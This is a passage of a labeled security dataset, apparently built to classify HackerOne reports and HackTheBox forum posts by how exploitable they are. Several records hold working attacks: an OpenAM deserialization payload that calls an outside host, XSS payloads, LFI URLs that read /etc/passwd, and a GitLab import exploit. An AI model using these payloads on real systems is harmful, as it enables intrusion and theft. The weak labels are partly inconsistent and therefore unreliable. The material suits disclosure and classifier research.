"hackerone", "forum_id": "hackerone", "timestamp": "2022-07-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "84e631e290418453c184", "text": "[Unknown] Bypassing Garbage Collection with Uppercase Endpoint\n\n## Summary:\nThis report highlights a vulnerability in the garbage collection process, where the endpoint \"/metrics\" can be bypassed by using uppercase letters.\nAdditionally, it is important to note that if your system contains similar endpoints, they might also be susceptible to the same bypass method. This report aims to provide comprehensive information about the vulnerability and its potential impact.\n\n##  Steps To Reproduce:\n1. Make an HTTP request to the URL: https://injob.indriver.com/api/metrics\n- ```curl -X GET \"https://injob.indriver.com/api/metrics\" -H \"Content-Type: application/json\"```\n- Observe the response, which is expected to be \"forbidden\" (HTTP 403).\n- {F2523755}\n\n2.Make another HTTP request to the URL: https://injob.indriver.com/api/METRICS\n- ```curl -X GET \"https://injob.indriver.com/api/METRICS\" -H \"Content-Type: application/json\"```\n\n- Observe the response, which is expected to be \"success\" (HTTP 200).\n- {F2523756}\n\n## Impact\n\nThe impact of this vulnerability includes unauthorized access to sensitive information or resources, potential data manipulation, and a potential risk of further escalation in the system. Furthermore, if other endpoints with similar patterns exist in your system, they might also be vulnerable to the same bypass method, exposing the system to additional security risks.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ce98ef267ee905e2155d", "text": "[Unknown] Unauthorized Ticket can be created by an Attacker in user's Helpdesk account\n\nHey Team! \n\nI was able to create a ticket in any user's Support.hackerone.com account without authorization, and can write whatever I wanted in that ticket. Normally, in order to get help, users are required to log in and create a ticket. However, due to this flaw, I could create tickets on behalf of any user without their permission or knowledge. \n\n\n### Steps To Reproduce\n\n1. Go to https://emkei.cz/ and enter victim's email as the sender, and support@hackerone.com as the receiver. Fill out other necessary details.\n\n2. Solve the captcha and send the email.\n\n3. Check your helpdesk account at support.hackerone.com and you will see new ticket.\n\n\n### Optional: Supporting Material/References (Screenshots)\n\nhttps://medium.com/@khaled.hassan/hacking-thousands-of-companies-through-their-helpdesk-8f180a8595ef\n\nPOC :\n████\n\n## Impact\n\nUnauthorized user can create  tickets in any user's help desk account!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7e13bb5459b74a837ce4", "text": "You have to check the denied characters. In your case the %7c (|) character is blacklisted, and you mustn’t use it, try with another type of injection", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "85091e5911faad44b210", "text": "[Improper Access Control - Generic] Renderers can obtain access to random bluetooth device without permission\n\nWith the default configuration in Electron, renderer processes (which should not have access to system resources by default) can gain read/write access to a nearby bluetooth device. To reproduce:\n\n* Run the electron-quick-start app with a vulnerable version of Electron: https://github.com/electron/electron-quick-start\n* Using the developer tools, run `await navigator.bluetooth.requestDevice({acceptAllDevices: true})`\n* You should get a permission error, but in vulnerable versions you will get a bluetooth device object instead.\n\n## Impact\n\nIf an Electron app loads remote or untrusted content in a renderer process (which is normally fine, as the process should not have any privileges), the remote content would have read/write access to nearby bluetooth devices. The impact would then depend on what devices the user has nearby.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b7a07ae779cdc6eec5bd", "text": "I really can’t find the second flag no matter what I try.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aac37a6ec68eed3687f8", "text": "[Cross-site Scripting (XSS) - Stored] Stored-XSS with CSP-bypass via labels' color\n\nGitlab allows to import a project from Github. It imports also the labels whose colors are not sanitized. This leads to Stored-XSS. \n\n\n# Step to reproduce\n\nTo reproduce, we need the following prerequisite: \n\n- Github does not allow neither to create arbitrary label colors. You can find in the attachment a dummy Github server\n- A VM/machine to host the dummy server above with an public IP though that gitlab.com can access to.\n- I created the dummy server using nodejs, so you need to have also nodejs on the machine\n- A Gitlab personal access token. Go [here](https://gitlab.com/-/profile/personal_access_tokens?name=test&scopes=api) to create a new token with within `api` scope.\n\n\n# Step 1: run the dummy server\n\n- Copy the attachment file on your machine and decompress it to any folder, e.g., `/tmp/dummy-server`\n- Go to `/tmp/dummy-server` then run this command: `node ./index.js YOUR_IP YOUR_PORT` in which, you should replace `IP` and `PORT` with the one you have. For example, `sudo node index.js 51.75.74.52 80`\n\n# Step 2: trigger Gitlab import\n\n- Open a new terminal, then run the following command in which:\n\n   + `YOUR_IP` and `YOUR_PORT` by the values in the previous step\n   + `YOUR_GITLAB_TOKEN` is the api token you've created in the pre-requirement\n   + `YOUR_GITLAB_USERNAME` is the target namespace you want to import the project to. It can be your username, or a group name\n\n```bash\ncurl -kv \"https://gitlab.com/api/v4/import/github\" \\\n  --request POST \\\n  --header \"content-type: application/json\" \\\n  --header \"PRIVATE-TOKEN: YOUR_GITLAB_TOKEN\" \\\n  --data '{\n    \"personal_access_token\": \"ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n    \"repo_id\": \"523303538\",\n    \"target_namespace\": \"YOUR_GITLAB_USERNAME\",\n    \"new_name\": \"xss-on-label-color\",\n    \"github_hostname\": \"http://YOUR_IP:YOUR_PORT\"\n}'\n```\n\nFor example:\n\n```bash\ncurl -kv \"https://gitlab.com/api/v4/import/github\" \\\n  --request POST \\\n  --header \"content-type: application/json\" \\\n  --header \"PRIVATE-TOKEN: AAAAAAAAAAAAAYYYYabc\" \\\n  --data '{\n    \"personal_access_token\": \"ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n    \"repo_id\": \"523303538\",\n    \"target_namespace\": \"yvvdwf\",\n    \"new_name\": \"xss-on-label-color\",\n    \"github_hostname\": \"http://51.75.74.52:80\"\n}'\n```\n\nAfter finishing, you can view the list of the labels of the imported project. You should see an popup created by this js `alert(document.domain)`\n\nAn example is available here (private project): https://gitlab.com/yvvdwf/xss-on-label-color/-/labels\n\n\n# Impact\n\nStored-XSS with CSP-bypass allows attackers to execute arbitrary actions on behalf of victims at the client side.\n\n## Impact\n\nStored-XSS with CSP-bypass allows attackers to execute arbitrary actions on behalf of victims at the client side.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "83b349cd020a316c01d5", "text": "[Path Traversal] (CVE-2023-32004) Permission model bypass by specifying a path traversal sequence in a Buffer\n\nhttps://nodejs.org/en/blog/vulnerability/august-2023-security-releases#permission-model-bypass-by-specifying-a-path-traversal-sequence-in-a-buffer-highcve-2023-32004\n\nhttps://hackerone.com/reports/2038134\n\nAlso, patch was provided in the report and matched https://github.com/nodejs/node/commit/1f64147eb607f82060e08884f993597774c69280 (excluding tests).\n\n## Impact\n\nsee reports.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-32004"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1440b02d7f360d3e1bda", "text": "[Improper Restriction of Authentication Attempts] No Rate Limit on forgot password page\n\n## Summary:\nno rate limit bug on ur loigin page ..\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. [add step]\n  1. [add step]\n  1. [add step]\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Recommendations for Fixing/Mitigation\n[If you have a recommendation for how to fix, we would love to know so we can fix it faster. Even more appreciated would be a Merge Request! We are open source and our code is at https://gitlab.com/upchieve]\n\n## Impact\n\nYour site should have 12-13 passwords or NAND passwords and limitations.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "49c9b18f5fa6ad908330", "text": "[Insecure Storage of Sensitive Information] Leaking sensitive information through JSON  file path.\n\nHello team,\n \nI have found one JSON path at  \"https://lookup.nextcloud.com/\"  which is leaking some information like Username, email id, version, etc.. \nI guess it show the user who have installed or configure anything through the vendor. I was also able to download some of the zip files of the vendor and much more.\n\n--> Steps To Reproduce:\n                  1) Go to this link \"https://lookup.nextcloud.com/vendor/composer/installed.json\" \n                  2) See the raw data, you will get leakage of some important data.\n\n[\n    {\n        \"name\": \"psr/http-message\",\n        \"version\": \"1.0.1\",\n        \"version_normalized\": \"1.0.1.0\",\n        \"source\": {\n            \"type\": \"git\",\n            \"url\": \"https://github.com/php-fig/http-message.git\",\n            \"reference\": \"f6561bf28d520154e4b0ec72be95418abe6d9363\"\n        },\n        \"dist\": {\n            \"type\": \"zip\",\n            \"url\": \"https://api.github.com/repos/php-fig/http-message/zipball/f6561bf28d520154e4b0ec72be95418abe6d9363\",\n            \"reference\": \"f6561bf28d520154e4b0ec72be95418abe6d9363\",\n            \"shasum\": \"\"\n        },\n        \"require\": {\n            \"php\": \">=5.3.0\"\n        },\n        \"time\": \"2016-08-06T14:39:51+00:00\",\n        \"type\": \"library\",\n        \"extra\": {\n            \"branch-alias\": {\n                \"dev-master\": \"1.0.x-dev\"\n            }\n        },\n        \"installation-source\": \"dist\",\n        \"autoload\": {\n            \"psr-4\": {\n                \"Psr\\\\Http\\\\Message\\\\\": \"src/\"\n            }\n        },\n        \"notification-url\": \"https://packagist.org/downloads/\",\n        \"license\": [\n            \"MIT\"\n        ],\n        \"authors\": [\n            {\n                \"name\": \"PHP-FIG\",\n                \"homepage\": \"http://www.php-fig.org/\"\n            }\n        ],\n        \"description\": \"Common interface for HTTP messages\",\n        \"homepage\": \"https://github.com/php-fig/http-message\",\n        \"keywords\": [\n            \"http\",\n            \"http-message\",\n            \"psr\",\n            \"psr-7\",\n            \"request\",\n            \"response\"\n        ]\n    },\n    {\n        \"name\": \"pimple/pimple\",\n        \"version\": \"v3.0.2\",\n        \"version_normalized\": \"3.0.2.0\",\n        \"source\": {\n            \"type\": \"git\",\n            \"url\": \"https://github.com/silexphp/Pimple.git\",\n            \"reference\": \"a30f7d6e57565a2e1a316e1baf2a483f788b258a\"\n        },\n        \"dist\": {\n            \"type\": \"zip\",\n            \"url\": \"https://api.github.com/repos/silexphp/Pimple/zipball/a30f7d6e57565a2e1a316e1baf2a483f788b258a\",\n            \"reference\": \"a30f7d6e57565a2e1a316e1baf2a483f788b258a\",\n            \"shasum\": \"\"\n        },\n        \"require\": {\n            \"php\": \">=5.3.0\"\n        },\n        \"time\": \"2015-09-11T15:10:35+00:00\",\n        \"type\": \"library\",\n        \"extra\": {\n            \"branch-alias\": {\n                \"dev-master\": \"3.0.x-dev\"\n            }\n        },\n        \"installation-source\": \"dist\",\n        \"autoload\": {\n            \"psr-0\": {\n                \"Pimple\": \"src/\"\n            }\n        },\n        \"notification-url\": \"https://packagist.org/downloads/\",\n        \"license\": [\n            \"MIT\"\n        ],\n        \"authors\": [\n            {\n                \"name\": \"Fabien Potencier\",\n                \"email\": \"fabien@symfony.com\"\n            }\n        ],\n        \"description\": \"Pimple, a simple Dependency Injection Container\",\n        \"homepage\": \"http://pimple.sensiolabs.org\",\n        \"keywords\": [\n            \"container\",\n            \"dependency injection\"\n        ]\n    },\n    {\n        \"name\": \"psr/container\",\n        \"version\": \"1.0.0\",\n        \"version_normalized\": \"1.0.0.0\",\n        \"source\": {\n            \"type\": \"git\",\n            \"url\": \"https://github.com/php-fig/container.git\",\n            \"reference\": \"b7ce3b176482dbbc1245ebf52b181af44c2cf55f\"\n        },\n        \"dist\": {\n            \"type\": \"zip\",\n            \"url\": \"https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f\",\n            \"reference\": ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ecd30b0dfeb07ce47c1d", "text": "[Code Injection] Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464)\n\nRCE is possible thanks to unsafe Java deserialization in the Jato framework used by OpenAM.\n\n\n### Supporting Material/References\n- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464\n\n## Impact\n\nAn unauthenticated, 3rd-party attacker or adversary can execute remote code\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-35464\n\n## Steps to Reproduce\n## Steps To Reproduce\n\nTarget domain: ████\n\nFirst we need to build the payload:\n1. Download this jar file \n``wget https://github.com/Bin4xin/sweet-ysoserial/blob/master/target/ysoserial-0.0.6-SNAPSHOT-all.jar``\n\nthen \n``java -jar ysoserial-master-SNAPSHOT.jar Click1 \"curl https://g0h7qcjzwzpzdh2ar6b5f9x3puvkj9.burpcollaborator.net\" | (echo -ne \\\\x00 && cat) | base64 | tr '/+' '_-' | tr -d '=' | tr -d '\\n' > payload.txt`` \n\nYou need to change the burp Collaborator id to test it properly. \n\nThe payload is now saved in the payload.txt file. \n\nNow we need to use the following request:\n\n```\nGET /openam/ccversion/Version?jato.pageSession=XYZ HTTP/1.1\nHost: 127.0.0.1\n```\nReplace **XYZ** by the payload saved into the payload.txt file. \n\nThe response\n\n```\nHTTP/1.1 302 Found\nCache-Control: private\nLocation: https://127.0.0.1:443/openam/base/AMInvalidURL\nContent-Length: 0\n```\nThe HTTP Request sent the collaborator :\n\n██████\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-35464"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "546a37a44796d2e26bff", "text": "Don't overreact mobile machine\n\nhello can anyone tell me how find flag in the overreact mobile machine flag?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "83b7493173d8ad9484a7", "text": "[Unknown] [porcupiney.hairs]: [Python] Add Flask Path injection sinks\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "592c509336fa825c4353", "text": "[Improper Access Control - Generic] Github base action takeover which is used in `github.com/Shopify/unity-buy-sdk`\n\n## Summary:\nShopify have a github repository https://github.com/Shopify/unity-buy-sdk\nIn the repository there is a github action, which is used a base action from an external github repository.\nThat github account as not registered on github.com\nSo I was able to takeover the account and host PoC.\n\n## Shops Used to Test:\nNA\n\n## Relevant Request IDs:\nNA\n\n## Steps To Reproduce:\n\n  1. Go to https://github.com/Shopify/unity-buy-sdk/blob/master/.github/workflows/build.yml#L71\n  2. You will see this github repository `MirrorNG/unity-runner` getting used as base action at line 71\n  3. Try accessing the github repository https://github.com/MirrorNG/unity-runner you will be redirected to https://github.com/MirageNet/unity-runner\n  4. This happens when github organization name or username is renamed, github redirects all the old urls to new github account\n  5. But with this, the old github username becomes available for anyone to register and when someones registers it the redirection will stop and all links will open newly created repositories.\n  6. Try accessing the github organization https://github.com/MirrorNG you will see takeover message\n\n**Note:** I haven't taken over the repository, so as to avoid breaking the existing action as its getting used.\n\n## Supporting Material:\n\n- https://github.com/Shopify/unity-buy-sdk/blob/master/.github/workflows/build.yml#L71\n- https://github.com/MirrorNG\n\n{F1565368}\n\n## Reference\n\nhttps://hackerone.com/reports/1087489\n\n## Impact\n\nAn attacker can takeover the github account and host malicious action on it, when any any pull request is sent on the repository, it will end up running the action and you can see below screenshot, unity credentials are getting passed to that action. Action will get access to shopify's credentials.\n\n{F1565369}\n\nAlso, since github actions can create github tokens for use at run time using `${{ secrets.GITHUB_TOKEN }}` an attacker can get access to all the private repositories of the organization", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9210e8dec3b80d8fa073", "text": "i am still stuck on the first question of the assessment, which wordlist do i need to use?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "135ae5024b5afa6b530b", "text": "[PHP Local File Inclusion] Local File Read vulnerability on ██████████ [HtUS]\n\nKindly check screenshot ███████: In case if scope question. Because i picked this site from DOD website list under 'dod sites'. Lets move on to the bug now :)\n\n## Summary:\nLocal File Include vulnerability on ███. Oracle Ebs Bispgrapgh is prone to a directory traversal vulnerability that can be exploited by remote attackers to access sensitive data on the server.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. to view /etc/passwd file visit https://██████/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/\n  2.  to view /etc/motd file visit https://██████████/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=motd&ifl=/etc/\n  3.  to view /etc/profile visit https://██████/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=profile&ifl=/etc/\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n* █████:\n* █████:\n* https://web.cystack.net/vulnerability/cystack.remote.oracle_ebs_bispgrapgh_file_read\n\n## Impact\n\nAn attacker could read local files on the web server that they would normally not have access to, such as the application source code or configuration files containing sensitive information on how the website is configured.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "78a17e9a605e18b6d4f7", "text": "[Memory Corruption - Generic] Use of unitialized value in crypto_pk_num_bits (src/common/crypto.c:971)\n\nTriggered in `51e4748`, compiled with clang 6.0.0-trunk and -fsanitize=memory.\n\n`./fuzz-hsdescv2 < test002`\n\n```\n==20245==WARNING: MemorySanitizer: use-of-uninitialized-value\n    #0 0x558a63e2d816 in crypto_pk_num_bits /root/tor/src/common/crypto.c:971:3\n    #1 0x558a63b8f66a in token_check_object /root/tor/src/or/parsecommon.c:212:23\n    #2 0x558a63b8f66a in get_next_token /root/tor/src/or/parsecommon.c:397\n    #3 0x558a63b8d097 in tokenize_string /root/tor/src/or/parsecommon.c:72:11\n    #4 0x558a63ce97f7 in rend_parse_v2_service_descriptor /root/tor/src/or/routerparse.c:5197:7\n    #5 0x558a63889d02 in fuzz_main /root/tor/src/test/fuzz/fuzz_hsdescv2.c:40:10\n    #6 0x558a6388977a in main /root/tor/src/test/fuzz/fuzzing_common.c:179:3\n    #7 0x7fa41c9773f0 in __libc_start_main /build/glibc-mXZSwJ/glibc-2.24/csu/../csu/libc-start.c:291\n    #8 0x558a638177d9 in _start (/root/tor/src/test/fuzz/fuzz-hsdescv2+0x717d9)\n\nSUMMARY: MemorySanitizer: use-of-uninitialized-value /root/tor/src/common/crypto.c:971:3 in crypto_pk_num_bits\n```", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "88fded51ab7a14212d21", "text": "[Cross-site Scripting (XSS) - Reflected] CVE-2021-42567 - Apereo CAS Reflected XSS on https://█████████\n\nApereo CAS through 6.4.1 allows XSS via POST requests sent to the REST API endpoints. CAS is vulnerable to a Reflected Cross-Site Scripting attack, via POST requests sent to the REST API endpoints. The payload could be injected on URLs: /███████/. Malicious scripts can be submitted to CAS via parameters such as the ticket id or the username. That results in CAS rejecting the request and producing a response in which the value of the vulnerable parameter is echoed back, resulting in its execution.\n\nVULNERABLE SITE: https://██████████\n\nVULNERABLE ENDPOINT: https://███████/█████████/\n\nPROOF OF CONCEPT:\n-----------------------\n* It seems easy as you just need to drop the XSS payload inside the parameter \"username\" or at the end of the endpoint's path (in URL-encoded form, of course). Apereo CAS rejects the request and echoed back the ticket's ID or the username in the HTTP response without sanitizing.\n\n<html>\n  <body onload=\"document.forms[0].submit()\">\n    <form action=\"https://█████████/████████/\" method=\"POST\">\n      <input type=\"hidden\" name=\"username\" value=\"<img/src/onerror=alert(document.domain)>\" />\n      <input type=\"hidden\" name=\"password\" value=\"Mellon\" />\n    </form>\n  </body>\n</html>\n\n* Save the above HTML code as xss.html\n* Open it on the browser \n* You can notice that the XSS is triggered via a POST request.\n\n## Impact\n\nApereo CAS through 6.4.1 allows XSS via POST requests sent to the REST API endpoints. \n\nREFERENCES :\n---------------\n    * https://apereo.github.io/2021/10/18/restvuln/\n    * https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html\n    * https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md\n    * https://nvd.nist.gov/vuln/detail/CVE-2021-42567\n    * https://github.com/apereo/cas/releases\n\nBest Regards,\n3th1c_yuk1\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\nApereo CAS\n\n## CVE Numbers\nCVE-2021-42567\n\n## Steps to Reproduce\n* It seems easy as you just need to drop the XSS payload inside the parameter \"username\" or at the end of the endpoint's path (in URL-encoded form, of course). Apereo CAS rejects the request and echoed back the ticket's ID or the username in the HTTP response without sanitizing.\n\n<html>\n  <body onload=\"document.forms[0].submit()\">\n    <form action=\"https://██████/██████████/\" method=\"POST\">\n      <input type=\"hidden\" name=\"username\" value=\"<img/src/onerror=alert(document.domain)>\" />\n      <input type=\"hidden\" name=\"password\" value=\"Mellon\" />\n    </form>\n  </body>\n</html>\n\n* Save the above HTML code as xss.html\n* Open it on the browser \n* You can notice that the XSS is triggered via a POST request.\n\n## Suggested Mitigation/Remediation Actions\nYou should check the server's version and update to ... not the versions 6.3.7.1 and 6.4.2, but the versions 6.3.7.4 and 6.4.4.2 to mitigate this XSS.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-42567"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b766e80320c142e77d30", "text": "Incorrect flag\n\nI have got user and root flag for one of the active machine but when i paste into submit flag field it shows me Error-incorrect flag. I have also watched videos on how to other people sumit the flag and i am replicating the same steps with the my flags still it gives me error. Can somebody help me on this?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "62bb6ff630163d70702e", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on https://████████/████' parameter\n\nPoC\n```\nhttps://█████/██████████<img%20src=x%20onerror=alert()>\n```\n███████\n\n## Impact\n\nXSS on https://████/\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nGot to \n```\nhttps://██████/███<img%20src=x%20onerror=alert()>\n```\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0106b88f929f6d55a541", "text": "debian - How to show the number of installed packages - Unix & Linux Stack Exchange this should help", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d8a4b120609a00a4c845", "text": "[Cross-site Scripting (XSS) - Generic] CSP-bypass XSS in project settings page\n\n### Summary\n\nThis javascript [function](https://gitlab.com/gitlab-org/gitlab/-/blob/85fbd72dc08bcedcb9fe80fad4df798e9527ded8/app/assets/javascripts/projects/settings/access_dropdown.js#L534) is vulnerable:\n\n\n```javascript\n  deployKeyRowHtml(key, isActive) {\n    const isActiveClass = isActive || '';\n\n    return `\n      <li>\n        <a href=\"#\" class=\"${isActiveClass}\">\n          <strong>${key.title}</strong>\n          <p>\n            ${sprintf(\n              __('Owned by %{image_tag}'),\n              {\n                image_tag: `<img src=\"${key.avatar_url}\" class=\"avatar avatar-inline s26\" width=\"30\">`,\n              },\n              false,\n            )}\n            <strong class=\"dropdown-menu-user-full-name gl-display-inline\">${escape(\n              key.fullname,\n            )}</strong>\n            <span class=\"dropdown-menu-user-username gl-display-inline\">${key.username}</span>\n          </p>\n        </a>\n      </li>\n    `;\n  }\n```\n\nIt is used to render a deployment key in a dropdown item. Because the deployment title is controlled by users, it can be any html content, such as, `<script>alert(document.domain)</script>`. Furthermore, the html content will be [rendered](https://gitlab.com/gitlab-org/gitlab/-/blob/85fbd72dc08bcedcb9fe80fad4df798e9527ded8/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown.js#L396) using jQuery, so the `<script>` tag will be executed despise of CSP with `script-src ` having  `'strict-dynamic'`  value:\n\n```javascript\n  renderMenu(html) {\n    if (this.options.renderMenu) {\n      return this.options.renderMenu(html);\n    }\n    return $('<ul>').append(html);\n  }\n```\n\n### Steps to reproduce\n\n1. In an existing project or create a new one, goto `Settings`/`Repository`. Then fill the form in `Deploy keys` as the following:\n\n- `Title`:  `test <script>alert(document.domain)</script>`\n- `Key`:  `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkhkyrQJvb30Q5lLZzxeALqCyBrLOh+QzRYWh+gPGpqi2efyGMf5beN2zda66OI6DaclB31SJ0jYzaYKgKXQw7rzu/IYazONdy5lz5O2iUB2BkDzJYZ+BObTaTCjyDgSvNNuezUqNXXqoXftEMa1l0+FRSkTusH5F2P3JCV3Tf1BBQImrbDIpdc6ps+UxsiX7S/dT+7bNIVXblC8s8k+AK4CWsC2KmfMToK35pk+sa9JI+rb26hzv8IHA8n7cqXOmR5qAj2qX962p1kOLNXCyHJAKAIfRXCuDPbXiB+kjnu478eIcudOPveo3CK3G6hBI0hPSRfoyAUIubcddnnbhR `\n- `Grant write permissions to this key`:  Checked\n\nThen click `Add key` button to save the form.\n\n{F1752821}\n\n\n__NOTE__: \n\n- `Title` can be any HTML content that represents the attack payload. In the example above, we just show an alert containing the current domain.\n- `Key` can be any valid SSH public key. In the example above, I give you a random key so that you can copy-paste into the form without the need to generate a key\n\n2. Always in the `Settings`/`Repository` page, click on `Protected branches` link to expand its form\n3. Click on the dropdown box under `Allowed to push `, you should see an alert that was generated when the payload above being executed\n\n{F1752822}\n\n__NOTE__:\n\n- This is not self-XSS as any project maintainer can access to the settings page. Furthermore a victim can be added as a project maintainer without their explicit acceptation\n- The Step 2 can be ignored by accessing directly within `#js-protected-branches-settings` on the url, for example, `https://gitlab.com/yvvdwf/xss/-/settings/repository#js-protected-branches-settings`\n\n### Impact\n\nXSS with CSP bypass allows attacks to perform arbitrary malicious requests on behalf of victims on HTTP client side, such as, do an API request to access to private resources, etc.\n\n### Examples\n\nhttps://gitlab.com/yvvdwf/xss/-/settings/repository#js-protected-branches-settings\n\n### What is the current *bug* behavior?\n\nDeployment title is not sanitized\n\n### What is the expected *correct* behavior?\n\nDeployment title should be sanitized\n\n### Output of checks\n\nThis bug happens on GitLab.com\n\n## Impact\n\nXSS with CSP bypass allows attacks to perform arbitrary malicious requests on behalf of victims on HTTP client side, such as, do an API request to access to private resources, etc.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "95a931ccfcc6dcbbf02f", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on ( █████████.gov ) Via URL path\n\nHi team,\nI was able to execute XSS on  ███████.gov  \n\nSteps to produce - \n1 -Turn on the burp intercepter \n2- Go to  https://██████.gov/xapi/statements?file\"><script>alert(document.domain)</script>\n3-  In  Intercepter add the following Headers \n\n  Authorization: Basic eGFwaS10b29sczp4YXBpLXRvb2xz\n   X-Experience-Api-Version: 1.0.1\n\n4-  when you send this GET request you will receive a response with XSS payload executed.\n\n## Impact\n\nAn attacker can send the malicious link to victims and steals victims' cookie leading to account takeover.\n\n## System Host(s)\nwww.███.gov\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-41878\n\n## Steps to Reproduce\nI have attached the Video POC, please check it out.\n\n## Suggested Mitigation/Remediation Actions\nsanitize the inputs in the URL", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-41878"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
